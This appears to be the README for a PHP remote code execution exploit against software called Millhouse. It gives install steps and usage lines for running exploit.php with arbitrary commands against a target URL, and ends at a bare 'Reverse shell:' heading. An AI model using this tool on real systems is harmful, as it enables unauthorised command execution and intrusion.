Millhouse Remote code execution exploit

Prerequisites

• PHP installed
• cURL extension enabled in PHP

Install requirements

sudo apt update
sudo apt install php
sudo apt install php-curl

Usage

php exploit.php -u http://target.org/ -c COMMAND

or

php exploit.php -u http://target.org/ -c "COMMAND"

Example:

Reverse shell: